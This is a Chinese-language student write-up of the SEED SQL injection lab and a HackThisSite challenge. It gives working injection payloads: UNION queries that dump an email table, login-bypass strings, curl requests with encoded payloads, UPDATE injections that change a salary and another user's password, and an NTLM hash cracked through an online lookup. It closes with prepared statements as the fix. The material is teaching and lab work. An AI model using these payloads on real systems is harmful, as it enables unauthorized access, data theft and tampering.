1. 程式人生 > 其它 >SQL Injection Attack Lec&Lab SQL注入 Solution Seed

SQL Injection Attack Lec&Lab SQL注入 Solution Seed

SQL Injection Attack Lec&Lab

SQL 注入是一種程式碼注入技術,它利用 Web 應用程式和資料庫伺服器之間的介面中的漏洞。當用戶的輸入在傳送到後端資料庫伺服器之前未在 Web 應用程式中正確檢查時,就會出現此漏洞。

許多 Web 應用程式從使用者那裡獲取輸入,然後使用這些輸入來構造 SQL 查詢,因此 Web 應用程式可以從資料庫中提取資訊。Web 應用程式還使用 SQL 查詢將資訊儲存在資料庫中。這些是 Web 應用程式開發中的常見做法。如果 SQL 查詢構造不仔細,就會出現 SQL 注入漏洞。SQL 注入攻擊是對 Web 應用程式最常見的攻擊之一。

本實驗的目標是找到利用 SQL-Injection 漏洞的方法,展示攻擊可以造成的破壞,並掌握可以幫助防禦此類攻擊的技術。

本文作者:zmzzmqa、對酒當歌

Pre

1、閱讀SQL Injection with MySQL

網上搜索和閱讀SQL Injection with MySQL這篇文章,描述SQL Injection的原因和危害,注意其中提到的單引號雙引號和井號等特殊字元。思考如何才能防止SQL Injection?

一般情況下,SQL 語句包含使用者提供的資料,如果一條 SQL 語句 構造不當,惡意使用者就能向 SQL 語句中注入惡意程式碼,並讓資料塊去 執行它,這種攻擊成為 SQL 注入。

原因: 首先,SQL 語句混入了兩段資訊,一段來自使用者,這一段 並不可信,另一段通常由程式提供,這部分是可信的。這兩段資訊合 並之前,開發者很清楚這兩者之間的界限。但在合併之後,這些界限 就消失了。其次,兩段資訊混合後,結果會被髮送給 SQL 解析器,如 果資料總包含了關鍵詞或者字元,即便它們是原始資料的一部分,也 會被視為程式碼,因為直譯器並不知道程式碼和資料間的原始界限。這樣 一來,攻擊者就可以通過資料通道向疏於防範的程式注入程式碼了。這與 system()

函式的攻擊以及格式化字串攻擊的原理類似。

危害:

  1. 使用者的隱私以及個人資訊洩露。
  2. 可以對資料庫的資料進行增加或刪除操作,造成破壞或者長期背控制
  3. 如果網站目錄存在寫入許可權,可以寫入網頁木馬。攻擊者進而可以對網頁進行篡改, 釋出一些違法資訊等。
  4. 經過提權等步驟,伺服器最高許可權被攻擊者獲取。攻擊者可以遠端控制伺服器,安裝後門,得以修改或控制作業系統。

預防 SQL注入攻擊的方法:

  1. 嚴格限制 Web 應用的資料庫的操作許可權,給連線資料庫的使用者提供滿足需要的最 低許可權,最大限度的減少注入攻擊對資料庫的危害
  2. 校驗引數的資料格式是否合法(可以使用正則或特殊字元的判斷)
  3. 對進入資料庫的特殊字元進行轉義處理,或編碼轉換
  4. 預編譯 SQL,引數化查詢方式,避免 SQL拼接
  5. 報錯資訊不要包含 SQL資訊輸出到 Web 頁面

2、猜測手段

SQL Injection過程中,需要猜測未知的資料表名和欄位名以及密碼,描述一下常用的猜測手段。

  1. 猜解資料庫表名:

admin adminuser user pass password。如: and 0<>(select count(*) from admin) ---判斷是否存在 admin 這張表。

  1. 猜解資料庫欄位名

len()括號裡面加上我們想到的欄位名稱 。如: and 1=(select count(*) from admin where len( password)>0)

  1. 猜解密碼

如: and 1=(select count(*) from admin where left(name,1)=a) ---猜解用 戶帳號的第一位。

3、閱讀Basic SQL Tutorial。

http://www.w3schools.com/sql/
http://www.w3schools.com/php/
以及閱讀SQL Injection Attacks by Example
http://www.unixwiz.net/techtips/sql-injection.html

第一篇文章介紹的是 SQL 的基本語法和用法,包括建立資料庫、 建立表、插入行、SELECT 語句、WHERE 語句、UPDATA 語句等。

第二篇文章主要介紹的是 PHP 語言。文章介紹了 PHP 的基本語 法、資料型別、輸出、字串、迴圈、函式、陣列等。

第三篇文章主要介紹的是一個 SQL 注入例項。文章猜測了一些字 段名稱,包括電子郵件、passwd 檔案、登入 ID 等。從中可以學習到 SQL 注入的常用猜測手段。

4、HTS Realistic 4

(可以網上搜索walkthrough)HTS Realistic 4。先去http://www.hackthissite.org/註冊,然後利用SQL Injection完成下面這一關,目的是獲得a list of the email addresses。

Fischer’s Animal Products: A company slaughtering animals and turning their skin into overpriced products sold to rich bastards! Help animal rights activists increase political awareness by hacking their mailing list.

From: SaveTheWhales

Message: Hello, I was referred to you by a friend who says you know how to hack into computers and web sites - well I was wondering if you could help me out here. There’s this local store who is killing hundreds of animals a day exclusively for the purpose of selling jackets and purses etc out of their skin! I have been to their website and they have an email list for their customers. I was wondering if you could somehow hack in and send me every email address on that list? I want to send them a message letting them know of the murder they are wearing. Just reply to this message with a list of the email addresses. Please? Their website is at http://www.hackthissite.org/missions/realistic/4/. Thanks so much!!

訊息:您好,我的一個朋友介紹了你,他知道你知道如何破解計算機和網站 - 好吧,我想知道你是否可以幫助我。 這家本地商店每天一天殺死數百隻動物,專門為銷售夾克和錢包等肌膚! 我去過他們的網站,他們為客戶提供了一封電子郵件列表。 我想知道你是否可以以某種方式破解並向我傳送該列表的每一個電子郵件地址? 我想向他們傳送一條訊息,讓他們知道他們穿著的是殺戮。 只需回覆電子郵件列表。 請? 他們的網站是http://www.hackthissite.org/missions/remistic/4/。 非常感謝!!

該網站有個明顯的可能有注入漏洞的點, add to list,但是怎麼輸入都沒用

只有兩種返回結果,:Email added successfully.Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's

F12檢視頁面原始碼,發現還有兩處可點選的地方,是商品的列表

都是連結到products.php?category=。嘗試訪問products.php?category=1 or 2發先有注入漏洞

使用union編寫注入語句作為category引數的值,

  • UNION ALL 選取兩個所有的的值,包括重複的, UNION 內部的每個 SELECT語句必須擁有相同數量的列。列也必須擁有相似的資料型別

用null空列來解決這個問題。三個null達到目的

?category=1 UNION ALL SELECT NULL, *, NULL, NULL FROM email;
?category=2 UNION ALL SELECT NULL, *, NULL, NULL FROM email;

便得到了已註冊的郵箱

5、目前有名為smbpasswd的檔案,內容為
root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:09840D4B78FCCC0628B4218F5C902EB9:[U ]:LCT-498C012B:
能從裡面解密出root的密碼嗎?(不超過5位)

smbpasswd檔案格式為:

username:uid:Lanman Password Hash:NT Password Hash:賬號標誌:最後修改時間

NT Password Hash:指定Windows NT的使用者口令散列表,也是32位的十六進位制編碼。 在MD5解密網站https://www.cmd5.com/進行查詢,選中NTLM格式解密成功,密碼1q2w3

6、認真觀看,P4 SQL Injection Attack Lecture
https://www.bilibili.com/video/BV1a441117kb
大概說下視訊的內容。

視訊首先簡單介紹了 SQL,包括登入 MySQL、建立資料庫、建立 表、插入行、SELECT 語句、WHERE 語句、UPDATA 語句、SQL 語 句中的註釋等。然後介紹瞭如何發動 SQL 注入攻擊。通過輸入一些 特殊字元,如撇號',井號#等,就可以成功改變 SQL 語句的 含義,從而發動攻擊。

Lab

實驗室環境配置

程式碼倉庫:SQL_Injection at main · SKPrimin (github.com)

環境配置

在本實驗中,我們需要三樣東西,所有這些都已安裝在提供的 VM 映像中:(1) Firefox Web 瀏覽器,(2) Apache Web 伺服器,以及 (3) Collabtive 專案管理 Web 應用程式。對於瀏覽器,我們需要使用 Firefox 的 LiveHTTPHeaders 擴充套件來檢查 HTTP 請求和響應。提供給您的預構建 Ubuntu VM 映像已經安裝了帶有所需擴充套件的 Firefox Web 瀏覽器。

啟動 Apache 伺服器。Apache Web 伺服器包含在預構建的 Ubuntu 映像中。Web 伺服器預設啟動。如果需要啟動 Web 伺服器,請使用以下命令:

sudo service apache2 start

協作 Web 應用程式。在本實驗室中,我們使用了一個名為 Collabtive 的開源 Web 應用程式。Collabtive 是一個基於 Web 的專案管理系統。此 Web 應用程式已在預構建的 Ubuntu VM 映像中設定。我們還在 Collabtive 伺服器上建立了幾個使用者帳戶。要檢視所有使用者的帳戶資訊,首先使用以下密碼以管理員身份登入;其他使用者的賬號資訊可以從首頁的帖子或者“管理使用者”選項卡中獲取。

username: admin

password: admin

配置DNS。 我們已經控制了此實驗室所需的以下URL。 要訪問URL,需要啟動Apache伺服器:

URL: http://www.SEEDLabSQLInjection.com
Folder: /var/www/SQLInjection/

上面的 URL 只能從虛擬機器內部訪問,因為我們修改了 /etc/hosts 檔案,將每個 URL 的域名對映到虛擬機器的本地 IP 地址(127.0.0.1)。您可以使用 /etc/hosts 將任何域名對映到特定的 IP 地址。例如,您可以通過將以下條目附加到 /etc/hosts 來將 http://www.example.com 對映到本地 IP 地址:

127.0.0.1 www.example.com

如果您的 Web 伺服器和瀏覽器執行在兩臺不同的機器上,您需要相應地修改瀏覽器機器上的 /etc/hosts 以將這些域名對映到 Web 伺服器的 IP 地址,而不是 127.0.0.1。

配置 Apache 伺服器。在預構建的 VM 映像中,我們使用 Apache 伺服器來託管實驗室中使用的所有網站。Apache 中基於名稱的虛擬主機功能可用於在同一臺機器上託管多個網站(或 URL)。目錄“/etc/apache2/sites-available”中名為 default 的配置檔案包含配置所需的指令:

  1. 指令“NameVirtualHost*”指示 Web 伺服器使用機器中的所有 IP 地址(有些機器可能有多個 IP 地址)。

  2. 每個網站都有一個 VirtualHost 塊,它指定網站的 URL 和包含網站源的檔案系統中的目錄。例如,配置一個 URL 為http://www.example1.com 且源位於目錄/var/www/Example_1/的網站,以及配置一個 URL 為http://www.example2.com的網站並提供源在目錄/var/www/Example_2/中,我們使用以下塊:

    <VirtualHost *>
    
    ServerName http://www.example1.com
    
    DocumentRoot /var/www/Example_1/
    
    </VirtualHost>
    
    <VirtualHost *>
    
    ServerName http://www.example2.com
    
    DocumentRoot /var/www/Example_2/
    
    </VirtualHost>
    

您可以通過訪問上述目錄中的源來修改 Web 應用程式。例如,通過上述配置, 可以通過修改目錄/var/www/Example_1/中的源來更改 Web 應用程式http://www.example1.com。

關閉保護

PHP 提供了一種自動防禦 SQL 注入攻擊的機制。該方法稱為magic quote,更多細節將在任務3中介紹。我們先關閉此保護(PHP 5.3.0版本後已棄用此保護方法)。

  1. 在終端中,輸入 sudo gedit /etc/php5/apache2/php.ini
  2. 找到這條語句:magic_quotes_gpc = On
  3. 將其更改為:magic_quotes_gpc = Off
  4. 儲存更改。
  5. 通過執行sudo service apache2 restart重新啟動 Apache 伺服器。
sudo vim /etc/php5/apache2/php.ini

非 inset 模式下,可以輸入/magic_quotes_gpc Enter快速找到。將 On 改 為 Off 後,重啟 apache 伺服器。

i鍵將 On off

隨後,Esc退出編輯模式,資料:wq儲存並退出,重啟 apache 伺服器。

補丁

給現有虛擬機器打補丁,新增Web應用

patch.tar.gz at main · SKPrimin (github.com)

我們為此實驗室開發了簡單的員工管理 Web 應用程式。Web 應用程式用於儲存員工配置檔案資訊。我們為此應用程式建立了多個員工帳戶。若要檢視所有員工的帳戶資訊,可以以管理員身份登入 www.SEEDLabSQLInjection.com(員工 ID 為 99999)。
您從我們的課程網站下載的 SEEDUbuntu12.04 影象不包括此 Web 應用程式。 需要為此練習修補 VM。 您可以從我們的課程網站下載名為 patch.tar.gz 的補丁檔案。 該檔案包括 Web 應用程式和一個指令碼,該指令碼將安裝本練習所需的所有必需檔案。將 patch.tar.gz放在任何資料夾中,解壓縮它,然後執行一個名為 bootstrap.sh 的指令碼。VM 現在已準備好用於此實驗室。

tar -zxvf ./patch.tar.gz
cd patch
chmod a+x bootstrap.sh
./bootstrap.sh

bootstrap.sh 指令碼在現有的 SEEDUbuntu VM 中建立一個名為 Users 的新資料庫,將資料載入到資料庫中,設定虛擬主機 URL,最後修改本地 DNS 配置。如果您有興趣手動進行設定,請參閱附錄部分以瞭解詳細資訊。

測試SQL注入字串。

在真實的應用程式中,可能很難檢查SQL注入攻擊是否包含任何語法錯誤,因為伺服器通常不會返回這類錯誤訊息。要進行調查,可以將SQL語句從php原始碼複製到MySQL控制檯。假設您有下面的SQL語句,注入字串是'或1=1;#。

SELECT * from credential
WHERE name=’$name’ and password=’$pwd’;

你可以用注入字串替換$name的值,並使用MySQL控制檯測試它。這種方法可以幫助您在發起真正的注入攻擊之前構造一個沒有語法錯誤的注入字串。

教學須知

如果講師計劃為此練習舉辦實驗課程,我們建議在實驗課程中涵蓋以下背景材料:

  1. 如何使用虛擬機器、Firefox Web 瀏覽器和 LiveHTTPHeaders 擴充套件。
  2. SQL簡介。只需要涵蓋 SELECT、UPDATE 和 INSERT 語句的基本結構。 有用的線上SQL教程可以在 http://www.w3schools 上找到。com/sql/.
  3. 如何操作MySQL資料庫(僅基礎知識)。有關 MySQL 資料庫的帳戶資訊可以在 VM 的使用者手冊中找到,該手冊可從我們的 SEED 網頁下載。
  4. PHP簡介。只需要涵蓋最基本的內容。具有C / C++,Java或其他語言背景的學生應該能夠很快學習這種指令碼語言。

A修補實驗室環境

在環境設定一節中,我們描述瞭如何執行補丁指令碼來設定SQL注入實驗室環境。如果您對手動設定環境感興趣,本節將提供一步一步的說明。

A.1載入資料到資料庫

我們需要將一些現有的資料載入到MySQL中。下面的命令登入到MySQL資料庫,建立一個名為Users的資料庫,並從Users載入資料。SQL到新建立的資料庫。

$  mysql  -u  root  -pseedubuntu
mysql>  CREATE  DATABASE  Users;
mysql> quit
$  mysql  -u  root  -pseedubuntu  Users  <  Users.sql

A.2搭建網站

在VM中設定Employee Management web應用程式需要四個步驟。

  1. 第一步:建立一個新的資料夾/var/www/SQLInjection,並複製所有的php, html,c cs檔案到/var/www/SQLInjection。請進入存放補丁資料夾的目錄,並鍵入以下命令。
$ sudo mkdir /var/www/SQLInjection
$ sudo cp *.css *.php *.html /var/www/SQLInjection
  1. 步驟2:在SEEDUbuntu VM中,我們使用Apache託管實驗室中使用的所有網站。Apache中基於名稱的虛擬主機特性可以用於在同一臺機器上託管多個網站(或url)。配置檔案/etc/apache2/sites-available/default包含必要的配置指令。我們可以在/etc/apache2/sites-available/default檔案中新增一個新的url,如下所示:
<VirtualHost  *>
ServerName  http://www.SeedLabSQLInjection.com
DocumentRoot  /var/www/SQLInjection/
</VirtualHost>
  1. 步驟3:我們需要修改本地DNS檔案/etc/hosts,為主機名www.SeedLabSQLInjection.com提供一個IP地址(127.0.0.1)。
127.0.0.1                  www.SeedLabSQLInjection.com
  1. 步驟4:重啟Apache務器
sudo  service  apache2  restart

實驗室任務

我們已經建立了一個web應用程式,並將其託管在www.SEEDLabSQLInjection.com上。這個web應用是一個簡單的員工管理應用程式。員工可以檢視和更新他們的個人

通過這個web應用程式,資料庫中的資訊。在這個web應用程式中主要有兩個角色:管理員是一個特權角色,可以管理每個員工的個人資訊;“員工”是普通角色,可以檢視或更新自己的個人資訊。所有員工資訊如下表所示。

User Employee ID Password Salary Birthday SSN Nickname Email Address Phone#
Admin 99999 seedadmin 400000 3/5 43254314
Alice 10000 seedalice 20000 9/20 10211002
Boby 20000 seedboby 50000 4/20 10213352
Ryan 30000 seedryan 90000 4/10 32193525
Samy 40000 seedsamy 40000 1/11 32111111
Ted 50000 seedted 110000 11/3 24343244

任務1:MySQL控制檯

這個任務的目標是通過使用所提供的資料庫來熟悉SQL命令。我們已經建立了一個名為Users的資料庫,其中包含一個名為credential的表;該表儲存每個員工的個人資訊(例如eid、密碼、工資、ssn等)。管理員可以修改所有員工的配置檔案資訊,但每個員工只能修改自己的資訊。在這個任務中,您需要使用資料庫來熟悉SQL查詢。
MySQL是一個開源的關係資料庫管理系統。我們已經在SEEDUbuntu虛擬機器映像中設定了MySQL。使用者名稱為root,密碼為seedubuntu。請使用以下命令登入MySQL控制檯:

mysql -u root -pseedubuntu

登入後,可以建立新的資料庫或載入現有資料庫。因為我們已經為您建立了Users資料庫,您只需要使用以下命令載入這個現有的資料庫:

mysql> use Users;

要顯示Users資料庫中有哪些表,可以使用以下命令列印所選資料庫的所有表。

mysql>  show  tables;

執行上述命令後,需要使用SQL命令列印員工Alice的所有配置資訊。

select * from credential where name= 'Alice';

任務 2:對 SELECT 語句的 SQL 注入攻擊

SQL注入基本上是一種技術,通過這種技術,攻擊者可以執行他們自己的惡意SQL狀態,通常稱為惡意負載。通過惡意SQL語句,攻擊者可以竊取受害者資料庫中的資訊;更糟糕的是,他們可能會對資料庫進行更改。我們的員工管理web應用程式有SQL注入漏洞,這模仿了開發人員經常犯的錯誤。
您可以進入我們的web應用程式的入口頁面www.SEEDLabSQLInjection.com,在那裡您需要使用員工ID和密碼登入。登入介面如下圖所示。

身份驗證基於員工ID和密碼,因此只有知道自己ID和密碼的員工才能檢視或更新個人資訊。作為攻擊者,您的工作是在不知道任何員工的憑據的情況下登入到應用程式。

進入網頁 www.SEEDLabSQLInjection.com 。

為了幫助您開始這個任務,我們將解釋如何在我們的web應用程式中實現身份驗證。位於/var/www/SQLInjection目錄中的PHP程式碼不安全憑據。PHP用於進行使用者身份驗證。下面的程式碼片段顯示如何對使用者進行身份驗證。

$conn  =  getDB();
$sql  =  "SELECT  id,  name,  eid,  salary,  birth,  ssn,                            								 phonenumber,  address,  email,  nickname,  Password
		FROM  credential
		WHERE  eid=  ’$input_eid’  and  password=’$input_pwd’"; 
$result  =  $conn->query($sql))

//  The  following  is  psuedo  code
if(name==’admin’){
		return  All  employees  information.
}  else  if(name!=NULL){
		return  employee  information.
}  else  {
		authentication  fails.
}

上面的SQL語句從憑證表中選擇個人員工資訊,如id、姓名、工資、ssn等。變數input eid和input pwd儲存使用者在登入頁面中輸入的字串。基本上,程式檢查任何記錄是否與員工ID和密碼匹配;如果有匹配,則使用者身份驗證成功,並得到相應的員工資訊。如果沒有匹配,則認證失敗。

網頁的原始碼位置在/var/www/SQLInjection,進入目錄後,用 vim 開啟 unsafe_credential.php 可以看到網頁的原始碼:

cd /var/www/SQLInjection
vim unsafe_credential.php

任務2.1:網頁SQL注入攻擊

您的任務是以管理員登入頁面,可以看到所有員工的資訊。我們假設您知道管理員的帳戶名,即admin,但不知道ID或密碼。您需要決定在Employee ID和Password欄位中輸入什麼才能成功攻擊。

分析原始碼可知,存在 SQL 注入漏洞。

當 ID 欄輸入'OR name ='admin'#就可以成功以 admin 的身份登入.原因是,第一個單引號會閉合id=’$input_eid’,使條件變成了 eid=’’OR name=’admin’#,而#會把後面的語句都註釋掉,所以相跳過了驗證密碼,直接登入 admin。

'OR name ='admin'#

任務2.2:來自命令列的SQL注入攻擊。

你的任務是重複task 2.1,但你需要在不使用網頁的情況下完成它。您可以使用命令列工具,例如curl,它可以傳送HTTP請求。值得一提的是,如果你想在HTTP請求中包含多個引數,你需要將URL和引數放在一對單引號之間;否則,用於分隔引數的特殊字元(如&)將被shell程式解釋,從而改變命令的含義。下面的例子展示瞭如何傳送一個HTTP GET請求到我們的web應用程式,帶有兩個引數(SUID和密碼):

curl  ’www .SeedLabSQLInjection.com/index.php?SUID=10000&Password=111’

如果需要在SUID和Password欄位中包含特殊字元,則需要對它們進行適當的編碼,否則它們可能會改變請求的含義。如果想在這些欄位中包含單引號應該使用%27、如果要包含空格則應該使用%20。在這個任務中,您確實需要在使用curl傳送請求時處理HTTP編碼。

我們構建的攻擊字串是

http://www.seedlabsqlinjection.com/unsafe_credential.php?EID='+OR+NAME='admin'+#&Password=

在URL編碼中,單引號、空格、井號,分別對應%27、%20、%23

轉換為以下命令:

curl 'http://www.seedlabsqlinjection.com/unsafe_credential.php?EID=%27+OR+NAME%3D%27admin%27+%23&Password='

但此時你或許會面臨一個嚴峻的問題,seedubuntu12沒有curl,這裡我們可以先ifconfig檢視seedubuntu的ip地址,然後在另一臺虛擬上直接訪問地址。如下圖所示,由於網頁的特性,你可以直接按照此前的額路徑訪問。

http://192.168.190.136/SQLInjection/,也可以開啟頁面。

修改命令

curl 'http://192.168.190.136/SQLInjection/unsafe_credential.php?EID=%27OR+name+%3D%27admin%27%23&Password='

輸入命令後,獲得了所有員工的資訊。

任務2.3:新增一個新的SQL語句

在上述兩種攻擊中,我們只能從資料庫中竊取資訊;如果我們可以在登入頁面中使用相同的漏洞來修改資料庫就更好了。一種想法是使用SQL注入攻擊將一條SQL語句變成兩條,而第二條SQL語句則是更新或刪除語句。在SQL語句中,分號(;)用來分隔兩條SQL語句。請描述如何使用登入頁面讓伺服器執行兩個SQL語句。嘗試從資料庫中刪除一條記錄,並描述您的觀察結果。

構造注入語句 進行嘗試

' OR name='admin' ;Drop user Alice

發現失敗了,原因是,PHP 中 mysqli 擴充套件的 query()函式不允許在資料 庫伺服器中執行多條語句。 這是 MySQL 中的一種特殊的保護機制。

任務3:UPDATE語句的SQL注入攻擊

如果UPDATE語句存在SQL注入漏洞,則危害會更嚴重,因為攻擊者可以利用該漏洞修改資料庫。在我們的員工管理應用程式中,有一個Edit Profile頁面(圖2),允許員工更新他們的個人資訊,包括暱稱、電子郵件、地址、電話號碼和密碼。員工需要先登入才能進入該頁面。
當員工通過Edit Profile頁面更新他們的資訊時,將執行以下SQL update查詢。在unsafe edit.php檔案中實現的PHP程式碼用於更新員工的配置檔案資訊。PHP檔案位於/var/www/SQLInjection目錄中。

$conn = getDB();
$sql = "UPDATE credential SET nickname=’$nickname’,
                              email=’$email’,
                              address=’$address’,
                              phonenumber=’$phonenumber’,
                              Password=’$pwd’
WHERE id= ’$input_id’ ";
$conn->query($sql))

任務3.1:SQL注入攻擊的UPDATE語句-修改工資

如Edit中所示個人資料頁面,員工只能更新自己的暱稱、電子郵件、地址、電話號碼和密碼;他們無權改變自己的薪水。只有管理員才可以修改工資。如果你是一個惡意的員工(比如Alice),你在這個任務中的目標是通過編輯個人資料頁面來增加你自己的薪水。我們假設您知道,工資儲存在一個名為“工資”的列中。

首先利用 SQL 注入漏洞登入 Alice 賬戶。

'OR name ='Alice'#

用 vim unsafe edit.php 檢視原始碼:

vim /var/www/SQLInjection/unsafe_edit.php

Alice 的工資為 20000,ID 為 1000,現將工資改為 9999999,根據原始碼,構造 SQL 語句如下:

',salary='9999999' where EID='10000';#

可見,salary 修改成功

任務3.2:UPDATE語句上的SQL注入攻擊——修改他人密碼。

我們用上述UPDATE語句中的相同漏洞,惡意員工還可以更改他人的資料。此任務的目標是修改另一名員工的密碼,然後演示您可以使用新密碼成功登入到受害者的帳戶。這裡的假設是,你已經知道你想攻擊的員工(如Ryan)的名字。這裡值得一提的一點是,資料庫儲存的是密碼的雜湊值,而不是明文密碼字串。您可以再次檢視不安全的edit.php程式碼,看看密碼是如何儲存的。使用SHA1雜湊函式生成密碼的雜湊值。

可見 password 在資料庫中是以 sha1 的形式儲存的,在網上找了線上 sha1 加密工具,將 6666 加密。或者使用python加密

python

import hashlib

hashlib.sha1("6666").hexdigest()
4c1b52409cf6be3896cf163fa17b32e4da293f2e

構造 SQL 注入語句:

',Password='你自己sha1加密' where Name='Ryan';#

在 Alice 的 Nick Name 欄中輸入。

在命令列查看錶的資訊,發現,Ryan 密碼修改成功。

select * from credential where name= 'Ryan';

為了確保你的注入字串不包含任何語法錯誤,你可以在對我們的web應用程式發動真正的攻擊之前在MySQL控制檯測試你的注入字串。

以 ID=30000,password=6666 登入 Ryan,成功!

成功進入了Ryan的個人介面,由於網頁使用GET明文傳值,我們也可以發現,密碼確為6666。

任務4:對策——預處理語句

SQL注入漏洞的根本問題是無法將程式碼與資料分離。當構造SQL語句時,程式(例如PHP程式)知道哪些部分是資料,哪些部分是程式碼。不幸的是,當SQL語句被髮送到資料庫時,邊界已經消失了;SQL直譯器看到的邊界可能與開發人員設定的原始邊界不同。要解決這個問題,必須確保伺服器端程式碼和資料庫中的邊界檢視是一致的。最安全的方法是使用預處理語句。

為了理解預處理語句是如何防止SQL注入的,我們需要理解當SQL server接收到一個查詢時發生了什麼。查詢如何執行的高階工作流如圖3所示。在編譯步驟中,查詢首先經過解析和規範化階段,在此階段根據語法和語義檢查查詢。下一個階段是編譯階段,關鍵字(如SELECT、FROM、UPDATE等)被轉換成機器可以理解的格式。基本上,在這個階段,查詢被解釋。在查詢優化階段,將考慮執行查詢的不同計劃的數量,並從中選擇最佳優化計劃。選擇的計劃被儲存在快取中,所以每當下一次查詢進入時,它將根據快取中的內容進行檢查;如果它已經存在於快取中,解析、編譯和查詢優化階段將被跳過。然後,編譯後的查詢被傳遞到實際執行的執行階段。

預處理語句在編譯之後,但在執行步驟之前出現。預編譯語句將經過編譯步驟,並被轉換為帶有空資料佔位符的預編譯查詢。要執行這個預編譯查詢,需要提供資料,但這些資料不會經過編譯步驟;相反,它們被直接插入預編譯的查詢,並被髮送到執行引擎。因此,即使資料中有SQL程式碼,不經過編譯步驟,程式碼也會被簡單地視為資料的一部分,沒有任何特殊含義。預備語句就是這樣防止SQL注入攻擊的。

下面是一個如何在PHP中編寫預備語句的例子。在下面的例子中,我們使用SELECT語句。我們將展示如何使用預備語句重寫易受SQL注入攻擊的程式碼。

$conn  =  getDB();
$sql  =  "SELECT  name ,  local ,  gender
					FROM  USER_TABLE
					WHERE  id  =  $id  AND  password  =’ $pwd’  " ;
$result  =  $conn->query($sql))

上面的程式碼很容易受到SQL注入攻擊。它可以被改寫為以下內容

$conn  =  getDB();
$stmt  =  $conn->prepare( "SELECT  name ,  local ,  gender
                            FROM  USER_TABLE
                            WHERE  id  =  ?  and  password  =  ? " );
//  Bind  parameters  to  the  query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();

使用預處理語句機制,我們將向資料庫傳送SQL語句的過程分為兩個步驟。第一步是隻傳送程式碼部分,即不包含實際資料的SQL語句。這是準備步驟。正如我們從上面的程式碼片段中看到的,實際的資料被問號(?)代替。在這一步之後,我們使用bind param()將資料傳送到資料庫。資料庫將只將這一步中傳送的所有內容視為資料,而不再視為程式碼。它將資料繫結到預處理語句的相應問號上。在bind param()方法中,第一個引數"is"表示引數的型別:"i"表示$id中的資料為整數型別,"s"表示$pwd中的資料為字串型別。
對於此任務,請使用準備好的語句機制修復您在前面的任務中利用的SQL注入漏洞。然後,檢查您是否仍然可以利用該漏洞。

unsafe_credential.php檔案原有35行內容

修改為

但如果你直接在文字處修改是沒有許可權的,該資料夾所有檔案都是root所有。

使用VIm編輯

sudo vim unsafe_credential.php

先找到35行,在命令模式下dd即可刪除一行,i進入編輯模式貼上。Esc退出編輯模式,:wq儲存並退出。

使用任務一的命令嘗試注入

'OR name ='admin'#

發現果然失敗了

http://www.seedlabsqlinjection.com/unsafe_credential.php?EID=%27OR+name+%3D%27admin%27%23&Password=